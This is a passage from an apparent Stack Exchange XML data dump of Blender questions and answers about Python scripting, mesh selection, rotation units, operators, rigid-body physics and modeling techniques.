LastEditDate="2014-02-16T17:32:05.643" LastActivityDate="2014-02-16T17:32:05.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7069" PostTypeId="2" ParentId="7064" CreationDate="2014-02-16T16:35:04.860" Score="19" Body="&lt;p&gt;I prefer to not use operators, if they can be avoided. You may use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.tool_settings.mesh_select_mode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assign a tuple of 3 booleans to set &lt;em&gt;Vertex, Edge, Face&lt;/em&gt; selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To activate vertex selection mode, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.tool_settings.mesh_select_mode = (True, False, False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For edge + face multi-selection mode, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.tool_settings.mesh_select_mode = (False, True, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When working with the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bmesh.html&quot;&gt;BMesh Module (bmesh)&lt;/a&gt;, there's also&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm.select_mode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For edge selection, do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm.select_mode = {'EDGE'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For vertex and face selection multi-mode, do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm.select_mode = {'VERT', 'EDGE', 'FACE'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-16T16:35:04.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7070" PostTypeId="2" ParentId="7066" CreationDate="2014-02-16T16:43:05.077" Score="5" Body="&lt;p&gt;You could enable Undo support for your operator. Below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_label = &quot;Simple Object Operator&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_options = {'REGISTER', 'UNDO'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I wouldn't make the operator undo itself on errors, rather let the user do it if necessarily. However, your script shouldn't raise exceptions in the first place, but check in the operator's &lt;code&gt;poll()&lt;/code&gt; classmethod, if all pre-conditions are met. Or let it &lt;code&gt;return {'CANCELLED'}&lt;/code&gt; inside the &lt;code&gt;execute()&lt;/code&gt; body before something is damaged.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-02-28T20:34:58.973" LastActivityDate="2014-02-28T20:34:58.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7071" PostTypeId="1" AcceptedAnswerId="7072" CreationDate="2014-02-16T16:45:53.537" Score="3" ViewCount="2757" Body="&lt;p&gt;How can I get the absolute position in 3d space of a face using python. I can get the position relative to the object origin using &lt;code&gt;face.calc_center_median()&lt;/code&gt; this is not the absolute 3d position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I got the relative position:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;# get current mesh&#xA;current_mesh = bpy.context.object.data&#xA;&#xA;# create empty bmesh, add current mesh into empty bmesh&#xA;current_bm = bmesh.new()&#xA;current_bm.from_mesh(current_mesh)&#xA;&#xA;# TODO: get absolute position&#xA;# get location of face (atm it relative to object origin)&#xA;for face in current_bm.faces:&#xA;    face_location = face.calc_center_median()&#xA;    normal = face.normal&#xA;    x = face_location[0]&#xA;    y = face_location[1]&#xA;    z = face_location[2]&#xA;    print('index: '+str(face.index), x, y, z)  # DEBUG&#xA;&#xA;&#xA;# current_bmesh back to mesh&#xA;current_bm.to_mesh(current_mesh)&#xA;current_bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this scene for example the cube is a good distance from the world origin, the absolute 3d shall reflect this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xqltm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the reported coordinates of each face (they are relative to the origin of the object)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QgeAf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-02-16T18:05:39.420" Title="Python - absolute position of face" Tags="&lt;python&gt;&lt;scripting&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7072" PostTypeId="2" ParentId="7071" CreationDate="2014-02-16T17:27:24.493" Score="8" Body="&lt;p&gt;Multiply it with the object's world matrix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_world_space = obj.matrix_world * loc_obj_space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;loc_obj_space&lt;/code&gt; is a 3d &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/mathutils.html?highlight=mathutils#mathutils.Vector&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;mathutils.Vector&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an addon &lt;em&gt;View3D&lt;/em&gt;-&gt; &lt;em&gt;Math Vis(Console)&lt;/em&gt; available to visualize vectors and matrices directly in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. paste the following lines to the interactive console&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.context.active_object&#xA;lobj = [vertex.co for vertex in obj.data.vertices]&#xA;lworld = [obj.matrix_world * vector for vector in lobj]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RTX19.png&quot; alt=&quot;Math Vis(Console)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-16T18:05:39.420" LastActivityDate="2014-02-16T18:05:39.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7073" PostTypeId="1" AcceptedAnswerId="7076" CreationDate="2014-02-16T18:05:31.170" Score="3" ViewCount="3385" Body="&lt;p&gt;When working on a retina MacBook Pro screen, the cycles viewport renders feel slow compared to a non-retina screen because it's rendering at full retina resolution. While this is sometimes useful, most of the time I'm looking for fast feedback when lighting, so a coarser but faster resolution would be better. Is there a setting or a way to limit the viewport renders to bigger pixels without running the entire application in low resolution?&lt;/p&gt;&#xA;" OwnerUserId="681" LastActivityDate="2014-02-16T20:14:30.447" Title="Is it possible to set the viewport render maximum resolution when using Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7076" PostTypeId="2" ParentId="7073" CreationDate="2014-02-16T20:14:30.447" Score="0" Body="&lt;p&gt;There isn't really a way to do that yet. You can play with the &lt;code&gt;Start Resolution&lt;/code&gt; under the render properties panel to force Cycles to start rendering at a lower resolution, however, it will still eventually progress to a full, retina-resolution render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although one could argue that because of the high resolution, it takes less sample iterations to get to a visually 'smooth' image (even though each sample iteration does take longer), so you can probably try lowering the Preview Samples count.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-02-16T20:14:30.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7079" PostTypeId="1" AcceptedAnswerId="7080" CreationDate="2014-02-16T23:46:28.023" Score="6" ViewCount="6921" Body="&lt;p&gt;I want to create a lamp in blender using python. I want to give the lamp some rotation. As per the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.ops.object.html#bpy.ops.object.lamp_add&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt; I can set the initial rotation using a tuple of numbers in the function call like this &lt;code&gt;rotation=(0.0, 0.0, 0.0)&lt;/code&gt;&#xA;this is the specifc documentation for the rotation parameter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;rotation: (float array of 3 items in [-inf, inf], (optional)) – Rotation, Rotation for the newly added object&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What units is this parameter specified with? It does not seem to be in degrees or radian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try with my example code here where I use &lt;code&gt;rotation=(0, 1, 0)&lt;/code&gt; to get 1 degree on the y axis. I end up getting &lt;code&gt;57.296&lt;/code&gt; degrees after running the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.object.lamp_add(type='AREA', view_align=False, location=(0, 0, 0), rotation=(0, 1, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dawka.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1112" LastEditDate="2014-02-17T00:05:32.817" LastActivityDate="2017-08-07T00:35:25.550" Title="What units does the rotation argument expect when creating objects?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7080" PostTypeId="2" ParentId="7079" CreationDate="2014-02-16T23:59:19.493" Score="13" Body="&lt;p&gt;It is using radians. &lt;code&gt;1&lt;/code&gt; radian = &lt;code&gt;57.2957795&lt;/code&gt; degrees. Without the need to import another module you can use a degree value with &lt;code&gt;(3.14159 * degrees / 180)&lt;/code&gt; or just quickly import &lt;code&gt;pi&lt;/code&gt; from &lt;code&gt;math&lt;/code&gt; if you don't want to define it or you could alternatively use &lt;code&gt;round(math.radians(degrees))&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import pi&#xA;&#xA;bpy.ops.object.lamp_add(type='AREA', ... ,  rotation=(0, (pi * degrees / 180), 0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-02-17T00:21:20.867" LastActivityDate="2014-02-17T00:21:20.867" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7081" PostTypeId="1" AcceptedAnswerId="7095" CreationDate="2014-02-17T00:21:17.840" Score="1" ViewCount="789" Body="&lt;p&gt;Using Python, I would like to control what is displayed in the F-Curve Editor (in the Graph Editor window).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say I want to display &lt;code&gt;bpy.context.scene.gravity&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to display this property if it's already been keyframed?&lt;/li&gt;&#xA;&lt;li&gt;How to display it if it hasn't been keyframed?&lt;/li&gt;&#xA;&lt;li&gt;How can I undisplay any other F-curves? (e.g., say a keyframed object also happens to be selected)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-02-18T02:18:52.913" LastActivityDate="2014-02-18T02:18:52.913" Title="Control what properties displayed in F-Curve Editor" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7082" PostTypeId="1" CreationDate="2014-02-17T01:38:44.783" Score="2" ViewCount="2214" Body="&lt;p&gt;I have been attempting to import &lt;a href=&quot;http://mocap.cs.cmu.edu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CMU motion capture&lt;/a&gt; into Unity through Blender.  I was specifically using actor number 127, action number 3: Run.  I was downloading asf/amc file format.  I then used &lt;a href=&quot;http://vipbase.net/amc2bvh/&quot; rel=&quot;nofollow noreferrer&quot;&gt;amc2bvh&lt;/a&gt; to convert it to bvh. (I have also tried the native AMC importer, but it doesn't seem to to work as well) Once it is imported, I save the blend file and import it into Unity.  I change the avatar to be a humanoid avatar and leave the defaults.  This is the result. &lt;br&gt;&#xA;&lt;img src=&quot;https://imgur.com/54I7Gle.jpg&quot; alt=&quot;Bad Mocap&quot;&gt;&#xA;&lt;br&gt;&#xA;If I add bone rotation constraints to the thighs and limit the rotation on the Z-axis, then that seems to resolve the problem with this particular one.  I would like to fix this a better way that way I can use the rolling animation in such in my game.  If anyone has any idea how to solve this, it would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2492" LastActivityDate="2014-09-22T21:39:51.403" Title="Using CMU Graphics Lab Motion Capture Database" Tags="&lt;unity&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7084" PostTypeId="1" AcceptedAnswerId="7117" CreationDate="2014-02-17T07:38:27.253" Score="2" ViewCount="4637" Body="&lt;p&gt;With autokeying enabled I accidentally moved a few objects, unfortunately they now appear in the &lt;em&gt;NLA editor&lt;/em&gt;. I removed the actions saved and reload but I can't get rid of the entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/npnD6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-02-17T09:14:16.453" LastActivityDate="2014-02-18T03:17:40.600" Title="How can unused tracks be removed from the NLA?" Tags="&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7085" PostTypeId="1" AcceptedAnswerId="7089" CreationDate="2014-02-17T09:39:40.080" Score="6" ViewCount="1734" Body="&lt;p&gt;In this simple addon example, a button is added to the Render tab of the Properties window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gWIWo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I click on it, I get the error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;wm_operator_invoke: invalid operator call 'OBJECT_OT_my_operator'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?  Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class OBJECT_OT_my_operator(bpy.types.Operator):&#xA;    bl_idname='object.my_operator'&#xA;    bl_label=&quot;My Operator&quot;&#xA;&#xA;    def exec(self, context):&#xA;        print(&quot;hello&quot;)        &#xA;        return {'FINISHED'}&#xA;&#xA;def draw(self, context):      &#xA;    self.layout.operator('object.my_operator', text=&quot;Operator 1&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.RENDER_PT_render.append(draw)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1363" LastEditDate="2014-02-17T11:21:26.040" LastActivityDate="2014-02-17T11:21:26.040" Title="Error in addon: &quot;wm_operator_invoke: invalid operator call&quot;" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7086" PostTypeId="2" ParentId="7040" CreationDate="2014-02-17T10:38:13.373" Score="1" Body="&lt;p&gt;I don't have a Blender related answer but if you are comfortable coding you can have a look at the &lt;em&gt;OpenRelativity&lt;/em&gt; opensource toolkit created at MIT.  There is a demo program available their gamelab website called &lt;em&gt;A Slower Speed of Light&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the current link.  If the link goes down in the future you are all free to edit this answer.  &lt;a href=&quot;http://gamelab.mit.edu/games/a-slower-speed-of-light/&quot; rel=&quot;nofollow&quot;&gt;http://gamelab.mit.edu/games/a-slower-speed-of-light/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-02-17T10:38:13.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7087" PostTypeId="1" AcceptedAnswerId="7093" CreationDate="2014-02-17T11:01:41.583" Score="5" ViewCount="8986" Body="&lt;p&gt;I have a bunch of dominos set up in my scene. I want them to tip each other over(aka the domino effect). However, they're not falling realistically. They're falling way to slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My dominos are reshaped cubes, which I've applied a box-type rigid body to. But because of limitations unbeknowst to me, I can't properly use rigid body on so small objects. Therefore I've scaled them up to 40 times larger. They are now 81,284cm x 25,414cm x 177,8cm. Because they are sooooooo large, they fall reaaaaally slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are standing on a plane which have been applied a passive rigidbody.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of making them fall realistically fast?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested speeding up the scene time, but turns out a bit weird/unrealistic.&#xA;I've tested bumping up the gravity, but also feels a bit weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File: &lt;a href=&quot;http://www.pasteall.org/blend/26893&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/26893&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2496" LastEditorUserId="599" LastEditDate="2014-02-17T21:08:54.457" LastActivityDate="2017-08-01T14:47:46.863" Title="How to make small objects fall properly with rigid body?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7088" PostTypeId="1" AcceptedAnswerId="7090" CreationDate="2014-02-17T11:17:06.520" Score="10" ViewCount="2288" Body="&lt;p&gt;I am trying to make a flat coil/helix out of a cylinder like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2mpkj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried playing with the screw modifier but couldn't get anything close to the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tiCSf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a modifier to do this or will I have to do it manually? &lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="19307" LastEditDate="2020-01-09T11:09:49.620" LastActivityDate="2020-01-09T11:09:49.620" Title="Create flat coil" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;screw-modifier&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7089" PostTypeId="2" ParentId="7085" CreationDate="2014-02-17T11:19:37.640" Score="12" Body="&lt;p&gt;As pink vertex pointed out, the method needs to called &lt;code&gt;execute&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An operator added to a panel shows as button, and if you click it, Blender will try to invoke it by default (which means it looks for an &lt;code&gt;invoke()&lt;/code&gt; method in the operator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your operator has no &lt;code&gt;invoke()&lt;/code&gt;, it will try to execute it instead (thus try to call &lt;code&gt;execute()&lt;/code&gt;). Your operator doesn't have it, and Blender gives up with the error mesasge:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;wm_operator_invoke: invalid operator call 'OBJECT_OT_my_operator'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it means it couldn't find a method for the operator context (&lt;code&gt;invoke&lt;/code&gt; for a button in a panel by default), nor an alternative (&lt;code&gt;execute&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can override the operator context in layouts if you need to. If your operator defines &lt;code&gt;invoke()&lt;/code&gt; and &lt;code&gt;execute()&lt;/code&gt; alongside, you might want a button in a panel that executes the operator, and not invoke it. Create a layout sub-element (column, row, ...) and set its &lt;code&gt;operator_context&lt;/code&gt; attribute to the context you want to run it in (see &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.UILayout.html#bpy.types.UILayout.operator_context&quot;&gt;API docs&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class OBJECT_OT_my_operator(bpy.types.Operator):&#xA;    bl_idname = &quot;object.my_operator&quot;&#xA;    bl_label = &quot;My Operator&quot;&#xA;&#xA;    def invoke(self, context, event):&#xA;        print(&quot;hello invoke&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;    def execute(self, context):&#xA;        print(&quot;hello execute&quot;)        &#xA;        return {'FINISHED'}&#xA;&#xA;def draw(self, context):&#xA;    layout = self.layout&#xA;    layout.operator(OBJECT_OT_my_operator.bl_idname, text=&quot;Operator 1 - invoke (default)&quot;)&#xA;&#xA;    col = layout.column()&#xA;    col.operator_context = 'EXEC_DEFAULT'&#xA;    col.operator(OBJECT_OT_my_operator.bl_idname, text=&quot;Operator 1 - execute&quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(OBJECT_OT_my_operator)&#xA;    bpy.types.RENDER_PT_render.append(draw)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(OBJECT_OT_my_operator)&#xA;    bpy.types.RENDER_PT_render.remove(draw)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-17T11:19:37.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7090" PostTypeId="2" ParentId="7088" CreationDate="2014-02-17T11:29:37.420" Score="12" Body="&lt;p&gt;A easy way is to use &lt;strong&gt;Extra Objects&lt;/strong&gt; addon. And choose &lt;em&gt;Spirals&lt;/em&gt;. You can get an expected curve with a few tweakings in the left-hand Tool bar. Then use either one of the following four methods to find out the best one for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g7lOp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a0Fez.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added a &lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26898&quot; rel=&quot;noreferrer&quot;&gt;Demo File&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally recommend to use Solidify modifier here, since it is easy to control, and with caps on both ends.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-17T15:47:42.123" LastActivityDate="2014-02-17T15:47:42.123" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7091" PostTypeId="2" ParentId="7088" CreationDate="2014-02-17T11:32:58.670" Score="3" Body="&lt;p&gt;I'm not sure you will get exactly what you are asking with this method. Maybe close enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the array modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start like this. It could also be a cylinder or anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fZoJz.png&quot; alt=&quot;start&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale it up along the X axis 10%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an array modifier. Uncheck relative offset. Check Object offset. Create an empty and select that as the object to offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotate the empty 90 degrees around z-axis. Scale it up 10%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qJcYo.png&quot; alt=&quot;array modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eyxY5.png&quot; alt=&quot;empty transform&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increase the count in the array modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uic0b.png&quot; alt=&quot;spiral&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-02-17T11:32:58.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7093" PostTypeId="2" ParentId="7087" CreationDate="2014-02-17T12:11:05.767" Score="3" Body="&lt;p&gt;Normally, when simulating for the first time after adjustment, the data needs to be cached. It will look more smoother as expected when playing back from then on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not the case here, then you can adjust the &lt;strong&gt;Speed&lt;/strong&gt; value located in Rigid Body Worlds panel, which lets you control the speed factor for simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/40EyX.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-17T12:11:05.767" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7094" PostTypeId="1" CreationDate="2014-02-17T12:43:55.017" Score="4" ViewCount="2122" Body="&lt;p&gt;Is it possible to associate a custom tag with each vertex?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to number them... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an export script that dumps 6000 vertices to file, I then run a simulation that generates an array for each vertex.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would like to be able to give each vertex a unique ID as it is written to file, so that I can select a dozen vertices in blender, and export a list of IDs (and then process the array for each)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LINK: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?318031-Property-for-each-individual-face&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?318031-Property-for-each-individual-face&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-02-19T03:21:06.997" Title="Python: assign custom tag to vertices" Tags="&lt;python&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7095" PostTypeId="2" ParentId="7081" CreationDate="2014-02-17T13:07:39.013" Score="4" Body="&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Header Tools&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Show Selected Only  &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;By default, the Graph Editor shows the channels for the active object only. Toggle this button off to show channels for all objects.   &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Show Hidden  &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Enable this to show channels from objects/bones that are hidden. &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Show only matching F-Curves  &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Use this to only include F-Curves that contain the specified text.  &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Filters  &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Show options for whether channels related to certain types of data are included.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GEqhE.png&quot; alt=&quot;Graph Editor Filter&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change these settings you should have a look at&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.SpaceGraphEditor.html?highlight=dopesheet#bpy.types.SpaceGraphEditor&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.types.SpaceGraphEditor&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a 